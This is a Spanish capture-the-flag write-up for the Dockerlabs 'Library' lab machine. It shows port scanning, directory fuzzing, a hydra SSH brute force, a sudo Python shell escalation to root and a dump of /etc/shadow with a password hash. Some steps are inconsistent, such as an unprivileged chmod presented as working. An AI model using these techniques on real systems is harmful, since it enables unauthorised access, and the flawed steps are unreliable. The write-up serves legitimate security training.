🟢Library
En esta ocasión vamos a hacer el writeup de la máquina Library de Dockerlabs, una máquina Linux de dificultad easy.

Despliegue de la máquina
sudo bash auto_deploy.sh library.tar
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Tenemos la IP: 172.17.0.2
Primer acceso
Accedemos través del navegador y llegamos a una default page de Apache:

No obtenemos nada relevante, por lo que vamos a escanear los puertos abiertos en esta máquina.
Escaneo de puertos
sudo nmap -v -A -sCV -T5 172.17.0.2
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f9:f6:fc:f7:f8:4d:d4:74:51:4c:88:23:54:a0:b3:af (ECDSA)
|_ 256 fd:5b:01:b6:d2:18:ae:a3:6f:26:b2:3c:00:e5:12:c1 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.58 (Ubuntu)
Solo encontramos 2 puertos abiertos, el 22 y el 80. En principio nada relevante.
Fuzzing
Haciendo fuzzing con dirsearch nos encontramos un directorio interesante:
dirsearch -u http://172.17.0.2 -x 301-503
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/reports/http_172.17.0.2/_24-12-11_20-15-26.txt
Target: http://172.17.0.2/
[20:15:26] Starting:
[20:15:52] 200 - 26B - /index.php
[20:15:53] 301 - 313B - /javascript -> http://172.17.0.2/javascript/
Task Completed
Vamos a acceder a /index.php
a ver que encontramos.

A priori nos encontramos con lo que podría ser una posible contraseña de algún usuario del sistema. En este punto ya que no tenemos más directorios accesibles, vamos a probar a hacer un bruteforce de SSH para intentar adivinar el usuario.
Bruteforce de SSH
En este momento puede parecer que no podemos hacer nada, pero vamos a usar ffuf para enumerar subdominios dentro de este host:
afsh4ck@kali$ hydra -L /usr/share/wordlists/rockyou.txt.gz -p JIFGHDS87GYDFIGD ssh://172.17.0.2
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-11 20:23:58
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:14344399/p:1), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: carlos password: JIFGHDS87GYDFIGD
Bingo! Obtenemos el usuario de la máquina: Carlos
Acceso por SSH
afsh4ck@kali$ ssh carlos@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:Hvih5sjfx4Qwfp0rb0aWHkFvIxZbFo+cyOaoqbCHXSI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
carlos@172.17.0.2's password:
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.11.2-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
carlos@b2a9ee1cf61d:~$ id
uid=1001(carlos) gid=1001(carlos) groups=1001(carlos)
carlos@b2a9ee1cf61d:~$ whoami
carlos
Buum! Efectivamente nos conseguimos loguear en la máquina. Ya estamos dentro.
Escalada de privilegios
Lo primero que vamos a hacer para elevar nuestros privilegios es ver los permisos de ejecución que tenemos en la máquina. Este siempre debería ser el primer paso:
carlos@b2a9ee1cf61d:~$ sudo -l
Matching Defaults entries for carlos on b2a9ee1cf61d:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User carlos may run the following commands on b2a9ee1cf61d:
(ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
Observamos que Carlos puede ejecutar el script /opt/script.py
con privilegios de superusuario. Vamos a ver el contenido del script:
carlos@b2a9ee1cf61d:/home$ cat /opt/script.py
import shutil
def copiar_archivo(origen, destino):
shutil.copy(origen, destino)
print(f'Archivo copiado de {origen} a {destino}')
if __name__ == '__main__':
origen = '/opt/script.py'
destino = '/tmp/script_backup.py'
copiar_archivo(origen, destino)
SIempre que tenemos permisos de ejecución sobre algún archivo deberíamos consultar GTFOBins para encontrar una manera efectiva de elevar nuestros privilegios. Como el ejecutable es en python vamos a la sección Python.
Concretamente en la sección SUDO encontramos una forma para elevar nuestros privilegios:
SUDO
If the binary is allowed to run as superuser by sudo
, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo python -c 'import os; os.system("/bin/sh")'
Con esta pista podemos modificar nuestro script en python. El usuario Carlos no puede ejecutar sudo en la máquina, por lo que vamos a dar permisos al ejecutable y ya lo podemos editar:
carlos@b2a9ee1cf61d:/home$ sudo nano /opt/script.py
[sudo] password for carlos:
Sorry, user carlos is not allowed to execute '/usr/bin/nano /opt/script.py' as root on b2a9ee1cf61d.
carlos@b2a9ee1cf61d:/home$ chmod 777 /opt/script.py
carlos@b2a9ee1cf61d:/home$ nano /opt/script.py
Ahora vamos a eliminar todo el contenido del script y poner lo siguiente:
import os
os.system("/bin/sh")
Lo guardamos y lo ejecutamos con sudo, y ya somos root!
carlos@b2a9ee1cf61d:/home$ sudo python3 /opt/script.py
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
Aquí ya podríamos hace run tratamiento de la TTY para movernos mejor y acceder a cualquier archivo del sistema:
# python3 -c 'import pty;pty.spawn("/bin/bash")'
root@b2a9ee1cf61d:/home# export TERM=xterm
Por ejemplo podríamos acceder al /etc/shadow
donde están todas las contraseñas crackeadas en sistemas Linux:
root@b2a9ee1cf61d:~# cat /etc/shadow
root:*:19842:0:99999:7:::
daemon:*:19842:0:99999:7:::
bin:*:19842:0:99999:7:::
sys:*:19842:0:99999:7:::
sync:*:19842:0:99999:7:::
games:*:19842:0:99999:7:::
man:*:19842:0:99999:7:::
lp:*:19842:0:99999:7:::
mail:*:19842:0:99999:7:::
news:*:19842:0:99999:7:::
uucp:*:19842:0:99999:7:::
proxy:*:19842:0:99999:7:::
www-data:*:19842:0:99999:7:::
backup:*:19842:0:99999:7:::
list:*:19842:0:99999:7:::
irc:*:19842:0:99999:7:::
_apt:*:19842:0:99999:7:::
nobody:*:19842:0:99999:7:::
ubuntu:!:19842:0:99999:7:::
systemd-network:!*:19850::::::
systemd-timesync:!*:19850::::::
messagebus:!:19850::::::
systemd-resolve:!*:19850::::::
sshd:!:19850::::::
carlos:$y$j9T$miY.A/R.6yu.FUX0sqhhh1$7OKNoU1zFaBvQKoRSwZzjN9qMAORhPuoogeX5lECdW0:19850:0:99999:7:::
Última actualización
¿Te fue útil?